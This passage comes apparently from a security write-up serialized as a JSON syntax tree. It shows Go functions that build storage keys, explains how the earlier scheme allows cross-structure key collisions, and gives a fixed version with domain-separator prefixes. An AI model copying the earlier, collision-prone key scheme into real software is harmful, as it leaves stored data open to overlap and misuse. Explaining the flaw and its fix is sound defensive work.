[]",{"type":24,"tag":90,"props":88287,"children":88288},{"style":146},[88289],{"type":29,"value":86595},{"type":24,"tag":90,"props":88291,"children":88292},{"style":114},[88293],{"type":29,"value":748},{"type":24,"tag":90,"props":88295,"children":88296},{"class":92,"line":574},[88297,88302,88306,88310,88314,88318,88322,88326],{"type":24,"tag":90,"props":88298,"children":88299},{"style":136},[88300],{"type":29,"value":88301}," hex",{"type":24,"tag":90,"props":88303,"children":88304},{"style":114},[88305],{"type":29,"value":226},{"type":24,"tag":90,"props":88307,"children":88308},{"style":108},[88309],{"type":29,"value":87431},{"type":24,"tag":90,"props":88311,"children":88312},{"style":114},[88313],{"type":29,"value":117},{"type":24,"tag":90,"props":88315,"children":88316},{"style":108},[88317],{"type":29,"value":11513},{"type":24,"tag":90,"props":88319,"children":88320},{"style":114},[88321],{"type":29,"value":117},{"type":24,"tag":90,"props":88323,"children":88324},{"style":136},[88325],{"type":29,"value":87301},{"type":24,"tag":90,"props":88327,"children":88328},{"style":114},[88329],{"type":29,"value":87452},{"type":24,"tag":90,"props":88331,"children":88332},{"class":92,"line":606},[88333],{"type":24,"tag":90,"props":88334,"children":88335},{"style":114},[88336],{"type":29,"value":25727},{"type":24,"tag":90,"props":88338,"children":88339},{"class":92,"line":615},[88340,88344,88348,88352,88356,88360,88364,88368],{"type":24,"tag":90,"props":88341,"children":88342},{"style":136},[88343],{"type":29,"value":87422},{"type":24,"tag":90,"props":88345,"children":88346},{"style":114},[88347],{"type":29,"value":226},{"type":24,"tag":90,"props":88349,"children":88350},{"style":108},[88351],{"type":29,"value":87476},{"type":24,"tag":90,"props":88353,"children":88354},{"style":114},[88355],{"type":29,"value":117},{"type":24,"tag":90,"props":88357,"children":88358},{"style":136},[88359],{"type":29,"value":87385},{"type":24,"tag":90,"props":88361,"children":88362},{"style":114},[88363],{"type":29,"value":133},{"type":24,"tag":90,"props":88365,"children":88366},{"style":136},[88367],{"type":29,"value":87301},{"type":24,"tag":90,"props":88369,"children":88370},{"style":114},[88371],{"type":29,"value":1686},{"type":24,"tag":90,"props":88373,"children":88374},{"class":92,"line":623},[88375],{"type":24,"tag":90,"props":88376,"children":88377},{"emptyLinePlaceholder":16},[88378],{"type":29,"value":245},{"type":24,"tag":90,"props":88380,"children":88381},{"class":92,"line":632},[88382,88387,88391,88395],{"type":24,"tag":90,"props":88383,"children":88384},{"style":136},[88385],{"type":29,"value":88386}," positionNameEncoded",{"type":24,"tag":90,"props":88388,"children":88389},{"style":120},[88390],{"type":29,"value":78246},{"type":24,"tag":90,"props":88392,"children":88393},{"style":108},[88394],{"type":29,"value":87394},{"type":24,"tag":90,"props":88396,"children":88397},{"style":114},[88398],{"type":29,"value":680},{"type":24,"tag":90,"props":88400,"children":88401},{"class":92,"line":669},[88402,88406,88410],{"type":24,"tag":90,"props":88403,"children":88404},{"style":114},[88405],{"type":29,"value":88285},{"type":24,"tag":90,"props":88407,"children":88408},{"style":146},[88409],{"type":29,"value":86595},{"type":24,"tag":90,"props":88411,"children":88412},{"style":114},[88413],{"type":29,"value":748},{"type":24,"tag":90,"props":88415,"children":88416},{"class":92,"line":683},[88417,88421,88425,88429,88433,88437,88441,88445],{"type":24,"tag":90,"props":88418,"children":88419},{"style":136},[88420],{"type":29,"value":88301},{"type":24,"tag":90,"props":88422,"children":88423},{"style":114},[88424],{"type":29,"value":226},{"type":24,"tag":90,"props":88426,"children":88427},{"style":108},[88428],{"type":29,"value":87431},{"type":24,"tag":90,"props":88430,"children":88431},{"style":114},[88432],{"type":29,"value":117},{"type":24,"tag":90,"props":88434,"children":88435},{"style":108},[88436],{"type":29,"value":11513},{"type":24,"tag":90,"props":88438,"children":88439},{"style":114},[88440],{"type":29,"value":117},{"type":24,"tag":90,"props":88442,"children":88443},{"style":136},[88444],{"type":29,"value":87570},{"type":24,"tag":90,"props":88446,"children":88447},{"style":114},[88448],{"type":29,"value":87452},{"type":24,"tag":90,"props":88450,"children":88451},{"class":92,"line":737},[88452],{"type":24,"tag":90,"props":88453,"children":88454},{"style":114},[88455],{"type":29,"value":25727},{"type":24,"tag":90,"props":88457,"children":88458},{"class":92,"line":751},[88459,88463,88467,88471,88475,88479,88483,88487],{"type":24,"tag":90,"props":88460,"children":88461},{"style":136},[88462],{"type":29,"value":87422},{"type":24,"tag":90,"props":88464,"children":88465},{"style":114},[88466],{"type":29,"value":226},{"type":24,"tag":90,"props":88468,"children":88469},{"style":108},[88470],{"type":29,"value":87476},{"type":24,"tag":90,"props":88472,"children":88473},{"style":114},[88474],{"type":29,"value":117},{"type":24,"tag":90,"props":88476,"children":88477},{"style":136},[88478],{"type":29,"value":87511},{"type":24,"tag":90,"props":88480,"children":88481},{"style":114},[88482],{"type":29,"value":133},{"type":24,"tag":90,"props":88484,"children":88485},{"style":136},[88486],{"type":29,"value":87570},{"type":24,"tag":90,"props":88488,"children":88489},{"style":114},[88490],{"type":29,"value":1686},{"type":24,"tag":90,"props":88492,"children":88493},{"class":92,"line":782},[88494],{"type":24,"tag":90,"props":88495,"children":88496},{"emptyLinePlaceholder":16},[88497],{"type":29,"value":245},{"type":24,"tag":90,"props":88499,"children":88500},{"class":92,"line":791},[88501,88506,88510,88514,88518,88522],{"type":24,"tag":90,"props":88502,"children":88503},{"style":136},[88504],{"type":29,"value":88505}," key",{"type":24,"tag":90,"props":88507,"children":88508},{"style":120},[88509],{"type":29,"value":78246},{"type":24,"tag":90,"props":88511,"children":88512},{"style":136},[88513],{"type":29,"value":84064},{"type":24,"tag":90,"props":88515,"children":88516},{"style":114},[88517],{"type":29,"value":226},{"type":24,"tag":90,"props":88519,"children":88520},{"style":108},[88521],{"type":29,"value":87053},{"type":24,"tag":90,"props":88523,"children":88524},{"style":114},[88525],{"type":29,"value":680},{"type":24,"tag":90,"props":88527,"children":88528},{"class":92,"line":799},[88529,88534],{"type":24,"tag":90,"props":88530,"children":88531},{"style":1085},[88532],{"type":29,"value":88533}," \"%d%s%s%s%s\"",{"type":24,"tag":90,"props":88535,"children":88536},{"style":114},[88537],{"type":29,"value":748},{"type":24,"tag":90,"props":88539,"children":88540},{"class":92,"line":807},[88541,88546],{"type":24,"tag":90,"props":88542,"children":88543},{"style":136},[88544],{"type":29,"value":88545}," vaultId",{"type":24,"tag":90,"props":88547,"children":88548},{"style":114},[88549],{"type":29,"value":748},{"type":24,"tag":90,"props":88551,"children":88552},{"class":92,"line":821},[88553,88558],{"type":24,"tag":90,"props":88554,"children":88555},{"style":136},[88556],{"type":29,"value":88557}," Seperator",{"type":24,"tag":90,"props":88559,"children":88560},{"style":114},[88561],{"type":29,"value":748},{"type":24,"tag":90,"props":88563,"children":88564},{"class":92,"line":6278},[88565,88570],{"type":24,"tag":90,"props":88566,"children":88567},{"style":136},[88568],{"type":29,"value":88569}," usernameEncoded",{"type":24,"tag":90,"props":88571,"children":88572},{"style":114},[88573],{"type":29,"value":748},{"type":24,"tag":90,"props":88575,"children":88576},{"class":92,"line":11420},[88577,88581],{"type":24,"tag":90,"props":88578,"children":88579},{"style":136},[88580],{"type":29,"value":88557},{"type":24,"tag":90,"props":88582,"children":88583},{"style":114},[88584],{"type":29,"value":748},{"type":24,"tag":90,"props":88586,"children":88587},{"class":92,"line":11438},[88588,88593],{"type":24,"tag":90,"props":88589,"children":88590},{"style":136},[88591],{"type":29,"value":88592}," positionNameEncoded",{"type":24,"tag":90,"props":88594,"children":88595},{"style":114},[88596],{"type":29,"value":748},{"type":24,"tag":90,"props":88598,"children":88599},{"class":92,"line":11483},[88600],{"type":24,"tag":90,"props":88601,"children":88602},{"style":114},[88603],{"type":29,"value":25727},{"type":24,"tag":90,"props":88605,"children":88606},{"class":92,"line":11589},[88607],{"type":24,"tag":90,"props":88608,"children":88609},{"style":114},[88610],{"type":29,"value":827},{"type":24,"tag":90,"props":88612,"children":88613},{"class":92,"line":25306},[88614],{"type":24,"tag":90,"props":88615,"children":88616},{"emptyLinePlaceholder":16},[88617],{"type":29,"value":245},{"type":24,"tag":90,"props":88619,"children":88620},{"class":92,"line":25341},[88621],{"type":24,"tag":90,"props":88622,"children":88623},{"emptyLinePlaceholder":16},[88624],{"type":29,"value":245},{"type":24,"tag":90,"props":88626,"children":88627},{"class":92,"line":25349},[88628,88632,88637],{"type":24,"tag":90,"props":88629,"children":88630},{"style":97},[88631],{"type":29,"value":78130},{"type":24,"tag":90,"props":88633,"children":88634},{"style":108},[88635],{"type":29,"value":88636}," AddressMapKey",{"type":24,"tag":90,"props":88638,"children":88639},{"style":114},[88640],{"type":29,"value":680},{"type":24,"tag":90,"props":88642,"children":88643},{"class":92,"line":25357},[88644,88648,88652],{"type":24,"tag":90,"props":88645,"children":88646},{"style":136},[88647],{"type":29,"value":87077},{"type":24,"tag":90,"props":88649,"children":88650},{"style":146},[88651],{"type":29,"value":78251},{"type":24,"tag":90,"props":88653,"children":88654},{"style":114},[88655],{"type":29,"value":748},{"type":24,"tag":90,"props":88657,"children":88658},{"class":92,"line":25366},[88659,88663,88667,88672,88676],{"type":24,"tag":90,"props":88660,"children":88661},{"style":136},[88662],{"type":29,"value":87089},{"type":24,"tag":90,"props":88664,"children":88665},{"style":114},[88666],{"type":29,"value":133},{"type":24,"tag":90,"props":88668,"children":88669},{"style":136},[88670],{"type":29,"value":88671},"addressName",{"type":24,"tag":90,"props":88673,"children":88674},{"style":114},[88675],{"type":29,"value":78057},{"type":24,"tag":90,"props":88677,"children":88678},{"style":146},[88679],{"type":29,"value":86058},{"type":24,"tag":90,"props":88681,"children":88682},{"class":92,"line":25408},[88683,88687,88691,88695,88699],{"type":24,"tag":90,"props":88684,"children":88685},{"style":114},[88686],{"type":29,"value":78212},{"type":24,"tag":90,"props":88688,"children":88689},{"style":136},[88690],{"type":29,"value":73984},{"type":24,"tag":90,"props":88692,"children":88693},{"style":114},[88694],{"type":29,"value":78057},{"type":24,"tag":90,"props":88696,"children":88697},{"style":146},[88698],{"type":29,"value":86595},{"type":24,"tag":90,"props":88700,"children":88701},{"style":114},[88702],{"type":29,"value":1297},{"type":24,"tag":90,"props":88704,"children":88705},{"class":92,"line":25441},[88706,88710,88714,88718],{"type":24,"tag":90,"props":88707,"children":88708},{"style":136},[88709],{"type":29,"value":87691},{"type":24,"tag":90,"props":88711,"children":88712},{"style":120},[88713],{"type":29,"value":78246},{"type":24,"tag":90,"props":88715,"children":88716},{"style":108},[88717],{"type":29,"value":87394},{"type":24,"tag":90,"props":88719,"children":88720},{"style":114},[88721],{"type":29,"value":680},{"type":24,"tag":90,"props":88723,"children":88724},{"class":92,"line":25449},[88725,88729,88733],{"type":24,"tag":90,"props":88726,"children":88727},{"style":114},[88728],{"type":29,"value":88285},{"type":24,"tag":90,"props":88730,"children":88731},{"style":146},[88732],{"type":29,"value":86595},{"type":24,"tag":90,"props":88734,"children":88735},{"style":114},[88736],{"type":29,"value":748},{"type":24,"tag":90,"props":88738,"children":88739},{"class":92,"line":25457},[88740,88744,88748,88752,88756,88760,88764,88768],{"type":24,"tag":90,"props":88741,"children":88742},{"style":136},[88743],{"type":29,"value":88301},{"type":24,"tag":90,"props":88745,"children":88746},{"style":114},[88747],{"type":29,"value":226},{"type":24,"tag":90,"props":88749,"children":88750},{"style":108},[88751],{"type":29,"value":87431},{"type":24,"tag":90,"props":88753,"children":88754},{"style":114},[88755],{"type":29,"value":117},{"type":24,"tag":90,"props":88757,"children":88758},{"style":108},[88759],{"type":29,"value":11513},{"type":24,"tag":90,"props":88761,"children":88762},{"style":114},[88763],{"type":29,"value":117},{"type":24,"tag":90,"props":88765,"children":88766},{"style":136},[88767],{"type":29,"value":87301},{"type":24,"tag":90,"props":88769,"children":88770},{"style":114},[88771],{"type":29,"value":87452},{"type":24,"tag":90,"props":88773,"children":88774},{"class":92,"line":25466},[88775],{"type":24,"tag":90,"props":88776,"children":88777},{"style":114},[88778],{"type":29,"value":25727},{"type":24,"tag":90,"props":88780,"children":88781},{"class":92,"line":25542},[88782,88786,88790,88794,88798,88802,88806,88810],{"type":24,"tag":90,"props":88783,"children":88784},{"style":136},[88785],{"type":29,"value":87422},{"type":24,"tag":90,"props":88787,"children":88788},{"style":114},[88789],{"type":29,"value":226},{"type":24,"tag":90,"props":88791,"children":88792},{"style":108},[88793],{"type":29,"value":87476},{"type":24,"tag":90,"props":88795,"children":88796},{"style":114},[88797],{"type":29,"value":117},{"type":24,"tag":90,"props":88799,"children":88800},{"style":136},[88801],{"type":29,"value":87385},{"type":24,"tag":90,"props":88803,"children":88804},{"style":114},[88805],{"type":29,"value":133},{"type":24,"tag":90,"props":88807,"children":88808},{"style":136},[88809],{"type":29,"value":87301},{"type":24,"tag":90,"props":88811,"children":88812},{"style":114},[88813],{"type":29,"value":1686},{"type":24,"tag":90,"props":88815,"children":88816},{"class":92,"line":25575},[88817],{"type":24,"tag":90,"props":88818,"children":88819},{"emptyLinePlaceholder":16},[88820],{"type":29,"value":245},{"type":24,"tag":90,"props":88822,"children":88823},{"class":92,"line":25583},[88824,88829,88833,88837],{"type":24,"tag":90,"props":88825,"children":88826},{"style":136},[88827],{"type":29,"value":88828}," addressNameEncoded",{"type":24,"tag":90,"props":88830,"children":88831},{"style":120},[88832],{"type":29,"value":78246},{"type":24,"tag":90,"props":88834,"children":88835},{"style":108},[88836],{"type":29,"value":87394},{"type":24,"tag":90,"props":88838,"children":88839},{"style":114},[88840],{"type":29,"value":680},{"type":24,"tag":90,"props":88842,"children":88843},{"class":92,"line":25591},[88844,88848,88852],{"type":24,"tag":90,"props":88845,"children":88846},{"style":114},[88847],{"type":29,"value":88285},{"type":24,"tag":90,"props":88849,"children":88850},{"style":146},[88851],{"type":29,"value":86595},{"type":24,"tag":90,"props":88853,"children":88854},{"style":114},[88855],{"type":29,"value":748},{"type":24,"tag":90,"props":88857,"children":88858},{"class":92,"line":25628},[88859,88863,88867,88871,88875,88879,88883,88887],{"type":24,"tag":90,"props":88860,"children":88861},{"style":136},[88862],{"type":29,"value":88301},{"type":24,"tag":90,"props":88864,"children":88865},{"style":114},[88866],{"type":29,"value":226},{"type":24,"tag":90,"props":88868,"children":88869},{"style":108},[88870],{"type":29,"value":87431},{"type":24,"tag":90,"props":88872,"children":88873},{"style":114},[88874],{"type":29,"value":117},{"type":24,"tag":90,"props":88876,"children":88877},{"style":108},[88878],{"type":29,"value":11513},{"type":24,"tag":90,"props":88880,"children":88881},{"style":114},[88882],{"type":29,"value":117},{"type":24,"tag":90,"props":88884,"children":88885},{"style":136},[88886],{"type":29,"value":88671},{"type":24,"tag":90,"props":88888,"children":88889},{"style":114},[88890],{"type":29,"value":87452},{"type":24,"tag":90,"props":88892,"children":88893},{"class":92,"line":25641},[88894],{"type":24,"tag":90,"props":88895,"children":88896},{"style":114},[88897],{"type":29,"value":25727},{"type":24,"tag":90,"props":88899,"children":88900},{"class":92,"line":25654},[88901,88905,88909,88913,88917,88922,88926,88930],{"type":24,"tag":90,"props":88902,"children":88903},{"style":136},[88904],{"type":29,"value":87422},{"type":24,"tag":90,"props":88906,"children":88907},{"style":114},[88908],{"type":29,"value":226},{"type":24,"tag":90,"props":88910,"children":88911},{"style":108},[88912],{"type":29,"value":87476},{"type":24,"tag":90,"props":88914,"children":88915},{"style":114},[88916],{"type":29,"value":117},{"type":24,"tag":90,"props":88918,"children":88919},{"style":136},[88920],{"type":29,"value":88921},"addressNameEncoded",{"type":24,"tag":90,"props":88923,"children":88924},{"style":114},[88925],{"type":29,"value":133},{"type":24,"tag":90,"props":88927,"children":88928},{"style":136},[88929],{"type":29,"value":88671},{"type":24,"tag":90,"props":88931,"children":88932},{"style":114},[88933],{"type":29,"value":1686},{"type":24,"tag":90,"props":88935,"children":88936},{"class":92,"line":25667},[88937],{"type":24,"tag":90,"props":88938,"children":88939},{"emptyLinePlaceholder":16},[88940],{"type":29,"value":245},{"type":24,"tag":90,"props":88942,"children":88943},{"class":92,"line":25721},[88944,88948,88952,88956,88960,88964],{"type":24,"tag":90,"props":88945,"children":88946},{"style":136},[88947],{"type":29,"value":88505},{"type":24,"tag":90,"props":88949,"children":88950},{"style":120},[88951],{"type":29,"value":78246},{"type":24,"tag":90,"props":88953,"children":88954},{"style":136},[88955],{"type":29,"value":84064},{"type":24,"tag":90,"props":88957,"children":88958},{"style":114},[88959],{"type":29,"value":226},{"type":24,"tag":90,"props":88961,"children":88962},{"style":108},[88963],{"type":29,"value":87053},{"type":24,"tag":90,"props":88965,"children":88966},{"style":114},[88967],{"type":29,"value":680},{"type":24,"tag":90,"props":88969,"children":88970},{"class":92,"line":25730},[88971,88975],{"type":24,"tag":90,"props":88972,"children":88973},{"style":1085},[88974],{"type":29,"value":88533},{"type":24,"tag":90,"props":88976,"children":88977},{"style":114},[88978],{"type":29,"value":748},{"type":24,"tag":90,"props":88980,"children":88981},{"class":92,"line":34094},[88982,88986],{"type":24,"tag":90,"props":88983,"children":88984},{"style":136},[88985],{"type":29,"value":88545},{"type":24,"tag":90,"props":88987,"children":88988},{"style":114},[88989],{"type":29,"value":748},{"type":24,"tag":90,"props":88991,"children":88992},{"class":92,"line":34115},[88993,88997],{"type":24,"tag":90,"props":88994,"children":88995},{"style":136},[88996],{"type":29,"value":88557},{"type":24,"tag":90,"props":88998,"children":88999},{"style":114},[89000],{"type":29,"value":748},{"type":24,"tag":90,"props":89002,"children":89003},{"class":92,"line":82781},[89004,89008],{"type":24,"tag":90,"props":89005,"children":89006},{"style":136},[89007],{"type":29,"value":88569},{"type":24,"tag":90,"props":89009,"children":89010},{"style":114},[89011],{"type":29,"value":748},{"type":24,"tag":90,"props":89013,"children":89014},{"class":92,"line":82794},[89015,89019],{"type":24,"tag":90,"props":89016,"children":89017},{"style":136},[89018],{"type":29,"value":88557},{"type":24,"tag":90,"props":89020,"children":89021},{"style":114},[89022],{"type":29,"value":748},{"type":24,"tag":90,"props":89024,"children":89025},{"class":92,"line":82802},[89026,89031],{"type":24,"tag":90,"props":89027,"children":89028},{"style":136},[89029],{"type":29,"value":89030}," addressNameEncoded",{"type":24,"tag":90,"props":89032,"children":89033},{"style":114},[89034],{"type":29,"value":748},{"type":24,"tag":90,"props":89036,"children":89037},{"class":92,"line":82810},[89038],{"type":24,"tag":90,"props":89039,"children":89040},{"style":114},[89041],{"type":29,"value":25727},{"type":24,"tag":90,"props":89043,"children":89044},{"class":92,"line":82818},[89045],{"type":24,"tag":90,"props":89046,"children":89047},{"style":114},[89048],{"type":29,"value":827},{"type":24,"tag":25,"props":89050,"children":89051},{},[89052,89054,89059],{"type":29,"value":89053},"Unfortunately, when dealing with more than one storage entry within the same ",{"type":24,"tag":32,"props":89055,"children":89057},{"className":89056},[],[89058],{"type":29,"value":86807},{"type":29,"value":89060},", the previous implementation is not enough to guarantee key uniqueness. While it still effectively prevents key collisions within each individual structure, it does not prevent cross-structure key collisions.",{"type":24,"tag":80,"props":89062,"children":89064},{"code":89063},"vaultId = 1, username = \"a\", positionName = \"b\"\n => PositionMapKey = \"1|a|b\"\n\nvaultId = 1, username = \"a\", addressName = \"b\"\n => AddressMapKey = \"1|a||b\"\n",[89065],{"type":24,"tag":32,"props":89066,"children":89067},{"__ignoreMap":7},[89068],{"type":29,"value":89063},{"type":24,"tag":25,"props":89070,"children":89071},{},[89072],{"type":29,"value":89073},"To prevent this, add a structure-specific prefix to the start of each key to act as a domain separator.",{"type":24,"tag":80,"props":89075,"children":89077},{"code":89076,"language":77994,"meta":7,"className":77995,"style":7},"const (\n Seperator = \"|\"\n PositionMapPrefix = \"\\x01\"\n AddressMapPrefix = \"\\x02\"\n)\n\n\nfunc PositionMapKey(\n vaultId uint64,\n username, positionName []byte,\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n positionNameEncoded := make(\n []byte,\n hex.EncodedLen(len(positionName)),\n )\n hex.Encode(positionNameEncoded, positionName)\n\n key := fmt.Sprintf(\n \"%s%d%s%s%s%s\",\n PositionMapPrefix,\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n positionNameEncoded,\n )\n}\n\n\nfunc AddressMapKey(\n vaultId uint64,\n username, addressName []byte,\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n addressNameEncoded := make(\n []byte,\n hex.EncodedLen(len(addressName)),\n )\n hex.Encode(addressNameEncoded, addressName)\n\n key := fmt.Sprintf(\n \"%s%d%s%s%s%s\",\n AddressMapPrefix,\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n addressNameEncoded,\n )\n}\n",[89078],{"type":24,"tag":32,"props":89079,"children":89080},{"__ignoreMap":7},[89081,89092,89107,89134,89159,89166,89173,89180,89195,89210,89237,89260,89279,89294,89329,89336,89371,89378,89397,89412,89447,89454,89489,89496,89523,89535,89547,89558,89569,89580,89591,89602,89609,89616,89623,89630,89645,89660,89687,89710,89729,89744,89779,89786,89821,89828,89847,89862,89897,89904,89939,89946,89973,89984,89996,90007,90018,90029,90040,90051,90059],{"type":24,"tag":90,"props":89082,"children":89083},{"class":92,"line":93},[89084,89088],{"type":24,"tag":90,"props":89085,"children":89086},{"style":97},[89087],{"type":29,"value":508},{"type":24,"tag":90,"props":89089,"children":89090},{"style":114},[89091],{"type":29,"value":80396},{"type":24,"tag":90,"props":89093,"children":89094},{"class":92,"line":200},[89095,89099,89103],{"type":24,"tag":90,"props":89096,"children":89097},{"style":136},[89098],{"type":29,"value":87161},{"type":24,"tag":90,"props":89100,"children":89101},{"style":120},[89102],{"type":29,"value":216},{"type":24,"tag":90,"props":89104,"children":89105},{"style":1085},[89106],{"type":29,"value":87170},{"type":24,"tag":90,"props":89108,"children":89109},{"class":92,"line":239},[89110,89115,89119,89124,89129],{"type":24,"tag":90,"props":89111,"children":89112},{"style":136},[89113],{"type":29,"value":89114}," PositionMapPrefix",{"type":24,"tag":90,"props":89116,"children":89117},{"style":120},[89118],{"type":29,"value":216},{"type":24,"tag":90,"props":89120,"children":89121},{"style":1085},[89122],{"type":29,"value":89123}," \"",{"type":24,"tag":90,"props":89125,"children":89126},{"style":50196},[89127],{"type":29,"value":89128},"\\x01",{"type":24,"tag":90,"props":89130,"children":89131},{"style":1085},[89132],{"type":29,"value":89133},"\"\n",{"type":24,"tag":90,"props":89135,"children":89136},{"class":92,"line":248},[89137,89142,89146,89150,89155],{"type":24,"tag":90,"props":89138,"children":89139},{"style":136},[89140],{"type":29,"value":89141}," AddressMapPrefix",{"type":24,"tag":90,"props":89143,"children":89144},{"style":120},[89145],{"type":29,"value":216},{"type":24,"tag":90,"props":89147,"children":89148},{"style":1085},[89149],{"type":29,"value":89123},{"type":24,"tag":90,"props":89151,"children":89152},{"style":50196},[89153],{"type":29,"value":89154},"\\x02",{"type":24,"tag":90,"props":89156,"children":89157},{"style":1085},[89158],{"type":29,"value":89133},{"type":24,"tag":90,"props":89160,"children":89161},{"class":92,"line":258},[89162],{"type":24,"tag":90,"props":89163,"children":89164},{"style":114},[89165],{"type":29,"value":1686},{"type":24,"tag":90,"props":89167,"children":89168},{"class":92,"line":272},[89169],{"type":24,"tag":90,"props":89170,"children":89171},{"emptyLinePlaceholder":16},[89172],{"type":29,"value":245},{"type":24,"tag":90,"props":89174,"children":89175},{"class":92,"line":281},[89176],{"type":24,"tag":90,"props":89177,"children":89178},{"emptyLinePlaceholder":16},[89179],{"type":29,"value":245},{"type":24,"tag":90,"props":89181,"children":89182},{"class":92,"line":384},[89183,89187,89191],{"type":24,"tag":90,"props":89184,"children":89185},{"style":97},[89186],{"type":29,"value":78130},{"type":24,"tag":90,"props":89188,"children":89189},{"style":108},[89190],{"type":29,"value":88189},{"type":24,"tag":90,"props":89192,"children":89193},{"style":114},[89194],{"type":29,"value":680},{"type":24,"tag":90,"props":89196,"children":89197},{"class":92,"line":420},[89198,89202,89206],{"type":24,"tag":90,"props":89199,"children":89200},{"style":136},[89201],{"type":29,"value":87077},{"type":24,"tag":90,"props":89203,"children":89204},{"style":146},[89205],{"type":29,"value":78251},{"type":24,"tag":90,"props":89207,"children":89208},{"style":114},[89209],{"type":29,"value":748},{"type":24,"tag":90,"props":89211,"children":89212},{"class":92,"line":428},[89213,89217,89221,89225,89229,89233],{"type":24,"tag":90,"props":89214,"children":89215},{"style":136},[89216],{"type":29,"value":87089},{"type":24,"tag":90,"props":89218,"children":89219},{"style":114},[89220],{"type":29,"value":133},{"type":24,"tag":90,"props":89222,"children":89223},{"style":136},[89224],{"type":29,"value":87570},{"type":24,"tag":90,"props":89226,"children":89227},{"style":114},[89228],{"type":29,"value":78057},{"type":24,"tag":90,"props":89230,"children":89231},{"style":146},[89232],{"type":29,"value":86595},{"type":24,"tag":90,"props":89234,"children":89235},{"style":114},[89236],{"type":29,"value":748},{"type":24,"tag":90,"props":89238,"children":89239},{"class":92,"line":437},[89240,89244,89248,89252,89256],{"type":24,"tag":90,"props":89241,"children":89242},{"style":114},[89243],{"type":29,"value":78212},{"type":24,"tag":90,"props":89245,"children":89246},{"style":136},[89247],{"type":29,"value":73984},{"type":24,"tag":90,"props":89249,"children":89250},{"style":114},[89251],{"type":29,"value":78057},{"type":24,"tag":90,"props":89253,"children":89254},{"style":146},[89255],{"type":29,"value":86595},{"type":24,"tag":90,"props":89257,"children":89258},{"style":114},[89259],{"type":29,"value":1297},{"type":24,"tag":90,"props":89261,"children":89262},{"class":92,"line":574},[89263,89267,89271,89275],{"type":24,"tag":90,"props":89264,"children":89265},{"style":136},[89266],{"type":29,"value":87691},{"type":24,"tag":90,"props":89268,"children":89269},{"style":120},[89270],{"type":29,"value":78246},{"type":24,"tag":90,"props":89272,"children":89273},{"style":108},[89274],{"type":29,"value":87394},{"type":24,"tag":90,"props":89276,"children":89277},{"style":114},[89278],{"type":29,"value":680},{"type":24,"tag":90,"props":89280,"children":89281},{"class":92,"line":606},[89282,89286,89290],{"type":24,"tag":90,"props":89283,"children":89284},{"style":114},[89285],{"type":29,"value":88285},{"type":24,"tag":90,"props":89287,"children":89288},{"style":146},[89289],{"type":29,"value":86595},{"type":24,"tag":90,"props":89291,"children":89292},{"style":114},[89293],{"type":29,"value":748},{"type":24,"tag":90,"props":89295,"children":89296},{"class":92,"line":615},[89297,89301,89305,89309,89313,89317,89321,89325],{"type":24,"tag":90,"props":89298,"children":89299},{"style":136},[89300],{"type":29,"value":88301},{"type":24,"tag":90,"props":89302,"children":89303},{"style":114},[89304],{"type":29,"value":226},{"type":24,"tag":90,"props":89306,"children":89307},{"style":108},[89308],{"type":29,"value":87431},{"type":24,"tag":90,"props":89310,"children":89311},{"style":114},[89312],{"type":29,"value":117},{"type":24,"tag":90,"props":89314,"children":89315},{"style":108},[89316],{"type":29,"value":11513},{"type":24,"tag":90,"props":89318,"children":89319},{"style":114},[89320],{"type":29,"value":117},{"type":24,"tag":90,"props":89322,"children":89323},{"style":136},[89324],{"type":29,"value":87301},{"type":24,"tag":90,"props":89326,"children":89327},{"style":114},[89328],{"type":29,"value":87452},{"type":24,"tag":90,"props":89330,"children":89331},{"class":92,"line":623},[89332],{"type":24,"tag":90,"props":89333,"children":89334},{"style":114},[89335],{"type":29,"value":25727},{"type":24,"tag":90,"props":89337,"children":89338},{"class":92,"line":632},[89339,89343,89347,89351,89355,89359,89363,89367],{"type":24,"tag":90,"props":89340,"children":89341},{"style":136},[89342],{"type":29,"value":87422},{"type":24,"tag":90,"props":89344,"children":89345},{"style":114},[89346],{"type":29,"value":226},{"type":24,"tag":90,"props":89348,"children":89349},{"style":108},[89350],{"type":29,"value":87476},{"type":24,"tag":90,"props":89352,"children":89353},{"style":114},[89354],{"type":29,"value":117},{"type":24,"tag":90,"props":89356,"children":89357},{"style":136},[89358],{"type":29,"value":87385},{"type":24,"tag":90,"props":89360,"children":89361},{"style":114},[89362],{"type":29,"value":133},{"type":24,"tag":90,"props":89364,"children":89365},{"style":136},[89366],{"type":29,"value":87301},{"type":24,"tag":90,"props":89368,"children":89369},{"style":114},[89370],{"type":29,"value":1686},{"type":24,"tag":90,"props":89372,"children":89373},{"class":92,"line":669},[89374],{"type":24,"tag":90,"props":89375,"children":89376},{"emptyLinePlaceholder":16},[89377],{"type":29,"value":245},{"type":24,"tag":90,"props":89379,"children":89380},{"class":92,"line":683},[89381,89385,89389,89393],{"type":24,"tag":90,"props":89382,"children":89383},{"style":136},[89384],{"type":29,"value":88386},{"type":24,"tag":90,"props":89386,"children":89387},{"style":120},[89388],{"type":29,"value":78246},{"type":24,"tag":90,"props":89390,"children":89391},{"style":108},[89392],{"type":29,"value":87394},{"type":24,"tag":90,"props":89394,"children":89395},{"style":114},[89396],{"type":29,"value":680},{"type":24,"tag":90,"props":89398,"children":89399},{"class":92,"line":737},[89400,89404,89408],{"type":24,"tag":90,"props":89401,"children":89402},{"style":114},[89403],{"type":29,"value":88285},{"type":24,"tag":90,"props":89405,"children":89406},{"style":146},[89407],{"type":29,"value":86595},{"type":24,"tag":90,"props":89409,"children":89410},{"style":114},[89411],{"type":29,"value":748},{"type":24,"tag":90,"props":89413,"children":89414},{"class":92,"line":751},[89415,89419,89423,89427,89431,89435,89439,89443],{"type":24,"tag":90,"props":89416,"children":89417},{"style":136},[89418],{"type":29,"value":88301},{"type":24,"tag":90,"props":89420,"children":89421},{"style":114},[89422],{"type":29,"value":226},{"type":24,"tag":90,"props":89424,"children":89425},{"style":108},[89426],{"type":29,"value":87431},{"type":24,"tag":90,"props":89428,"children":89429},{"style":114},[89430],{"type":29,"value":117},{"type":24,"tag":90,"props":89432,"children":89433},{"style":108},[89434],{"type":29,"value":11513},{"type":24,"tag":90,"props":89436,"children":89437},{"style":114},[89438],{"type":29,"value":117},{"type":24,"tag":90,"props":89440,"children":89441},{"s